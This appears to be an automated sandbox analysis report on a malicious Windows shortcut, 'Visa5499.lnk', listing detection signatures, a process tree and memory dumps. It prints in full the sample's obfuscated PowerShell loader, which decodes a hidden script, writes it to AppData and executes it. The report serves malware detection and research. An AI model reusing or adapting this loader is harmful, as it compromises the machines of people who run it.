Overview

overview

8

Static

static

1

Visa5499.lnk

windows10-2004-x64

8

Visa5499.lnk

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    299s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/08/2026, 08:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Visa5499.lnk
  • Size 312KB
  • Sample260807-j3524atth1
  • SHA256 50c8382e99cda7de463ede54f78b4ba05964f3890fe41bb4e8dafa05a3e8e2be
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Visa5499.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5676
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" "$VIUSBvejbawf = \"146 79 116 37 96 147 96 77 73 175 61 60 105 103 150 143 129 58 36 106 91 81 74 174 68 78 175 127 85 67 116 48 99 163 136 81 67 136 40 48 109 127 85 67 116 101 116 180 175 148 97 115 26 60 126 154 130 126 163 95 45 111 104 148 124 115 39 125 181 116 99 62 105 25 56 112 161 109 104 174 71 52 113 106 89 125 162 72 37 116 92 66 68 180 105 53 117 103 141 142 188 18 43 120 98 71 65 119 96 52 105 106 73 151 184 37 53 117 175 137 113 109 27 58 120 175 137 101 119 42 40 107 92 81 151 175 72 43 107 96 68 118 121 25 52 110 97 150 100 115 33 56 111 91 74 62 153 30 47 105 102 72 66 119 82 32 185 91 75 81 159 107 54 117 95 87 96 121 38 91 103 151 78 77 152 29 46 149 125 84 63 147 62 91 142 137 74 130 136 87 71 115 95 62 95 121 93 84 131 97 131 127 186 82 121 123 92 66 69 159 107 53 187 164 148 67 186 98 123 105 173 139 149 108 107 114 187 92 148 140 186 83 123 178 173 135 136 186 98 123 107 173 139 149 123 107 114 187 88 148 140 186 95 54 116 173 139 149 104 37 40 123 90 67 82 186 98 123 107 108 71 149 177 107 47 105 106 148 140 186 31 41 187 164 148 137 121 30 48 174 173 139 149 114 44 48 187 164 148 82 186 98 123 106 91 148 140 186 30 47 187 164 148 62 164 85 123 178 173 135 84 109 107 114 187 97 80 80 115 107 114 187 88 148 140 186 27 110 112 110 77 149 177 107 47 174 173 123 147 106 26 41 107 146 146 85 105 25 43 178 173 64 130 168 84 100 175 95 72 80 186 82 121 117 93 67 151 159 109 93 98 142 65 67 116 30 43 116 85 85 67 115 30 47 160 173 66 72 113 40 47 189 171 66 76 118 107 98 106 93 76 78 120 42 96 187 107 67 80 116 35 50 118 106 75 77 116 38 56 118 106 79 82 117 27 123 162 142 83 84 119 29 41 160 173 85 71 108 33 52 122 110 66 78 109 31 110 103 97 82 137 117 36 41 117 90 84 137 102 90 111 107 110 63 149 95 82 84 111 89 71 76 119 96 70 120 109 100 82 107 24 56 106 91 150 138 135 27 52 189 171 68 68 104 27 125 176 135 81 86 120 40 43 106 175 146 79 106 26 125 176 128 65 67 150 36 49 120 175 146 79 116 37 98 183 175 146 79 116 37 98 185 95 70 71 188 80 125 147 96 77 73 175 61 60 105 103 150 143 184 40 47 103 149 117 71 108 73 60 105 110 141 151 186 29 104 171 156 130 81 109 29 111 109 92 133 149 161 109 121 106 91 68 151 159 109 118 185 108 71 83 119 109 96 189 102 68 74 188 107 53 105 91 70 68 162 94 110 109 110 67 67 119 43 52 111 161 83 72 111 94 43 124 88 135 80 99 43 45 101 156 126 68 186 82 52 119 175 142 92 105 25 43 116 97 79 90 162 83 84 106 129 65 75 112 62 43 134 103 77 67 119 58 45 124 108 81 143 184 42 46 121 106 141 142 188 18 56 101 102 66 124 95 109 56 113 92 81 151 97 109 52 120 87 150 147 121 30 57 120 82 143 124 188 105 42 105 93 150 59 188 62 40 105 162 112 78 112 40 125 176 137 77 75 119 61 60 105 103 150 147 108 29 45 189 162 113 73 121 30 57 116 97 79 151 135 57 87 165 148 150 147 123 42 41 116 96 72 151 159 109 79 120 88 137 100 121 37 56 121 90 74 82 120 57 60 106 100 117 84 104 36 46 111 175 137 114 100 40 58 104 91 81 151 181 61 46 102 106 68 100 116 40 49 113 161 81 63 119 102 125 176 142 68 80 103 32 56 111 91 150 144 175 54 52 111 107 71 64 137 25 36 113 106 150 111 115 41 57 120 97 150 138 110 30 45 189 175 137 105 109 31 84 111 91 81 69 123 42 41 116 89 81 151 175 63 46 141 93 71 81 115 33 56 189 162 113 63 119 42 40 105 102 71 73 140 30 49 116 108 61 151 154 20 45 124 92 67 151 175 74 46 112 98 85 73 120 109 123 183 175 59 147 123 43 58 189 146 150 109 109 36 47 176 127 85 67 116 109 117 185 106 72 65 162 76 45 109 139 85 67 123 100 125 129 173 70 130 170 90 105 119 96 70 137 108 26 108 129 173 123 145 188 105 60 123 108 123 58 186 102 98 189 171 66 69 115 38 54 120 93 150 122 188 63 56 102 162 99 84 116 40 57 104 99 81 83 136 44 42 114 123 68 78 117 38 56 107 175 137 104 110 42 56 189 162 117 67 188 101 86 120 91 137 115 123 25 56 180 161 117 83 120 64 52 111 90 66 82 105 101 104 180 175 137 101 119 29 56 105 102 66 78 109 31 84 111 91 81 69 102 44 49 189 167 104 82 101 96 73 116 98 81 100 108 44 47 189 162 105 78 110 24 41 120 92 150 132 167 100 98 189 171 67 82 104 25 52 111 104 67 151 159 109 79 120 88 137 100 121 37 56 121 90 74 82 120 57 60 106 100 99 82 104 25 52 111 104 67 100 119 25 125 176 135 77 83 120 40 47 162 175 100 82 117 36 42 105 106 68 138 137 42 53 120 107 65 75 119 41 73 124 92 75 151 175 57 60 106 100 104 86 111 40 125 187 130 117 99 144 76 91 189 125 132 135 170 91 59 106 107 65 80 122 23 43 189 124 66 86 106 25 40 109 175 117 84 121 40 49 120 93 85 67 109 27 42 121 95 64 78 105 37 57 118 93 81 80 186 109 112 156 108 66 78 109 31 125 185 110 83 67 115 30 47 189 162 98 69 115 38 54 120 93 150 147 104 27 52 118 104 81 69 188 96 74 120 91 66 78 110 38 42 189 171 67 82 104 25 52 111 104 67 124 138 40 48 110 89 81 138 147 25 56 112 175 137 103 123 25 53 189 171 105 62 147 31 39 110 108 85 67 115 30 47 175 130 61 116 109 32 48 124 97 82 137 140 44 41 117 175 137 113 109 27 58 120 148\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \" \"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \"OPu&6vh\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\"$Apkengsidefg\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j -eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$sxdchviodusgsre = \"$env:appdata\fgkpxjbgthy.ps1\";$qqpvm|Out-File -FilePath $sxdchviodusgsre;Get-Content \"$sxdchviodusgsre\" | Out-String | Invoke-Expression"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3884

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/3884-2-0x00007FFAA609F000-0x00007FFAA60A0000-memory.dmp
        Download

        memory/3884-5-0x000001CDD8E20000-0x000001CDD8E42000-memory.dmp
        Download

        memory/3884-6-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-7-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-8-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-9-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-12-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-13-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-14-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-15-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-17-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-18-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-19-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download

        memory/3884-21-0x000001CDD9A70000-0x000001CDDA216000-memory.dmp
        Download

        memory/3884-27-0x000001CD80E00000-0x000001CD80EB2000-memory.dmp
        Download

        memory/3884-26-0x000001CDD95E0000-0x000001CDD95FE000-memory.dmp
        Download

        memory/3884-28-0x000001CDD95C0000-0x000001CDD95CA000-memory.dmp
        Download

        memory/3884-29-0x000001CDD9680000-0x000001CDD969E000-memory.dmp
        Download

        memory/3884-31-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
        Download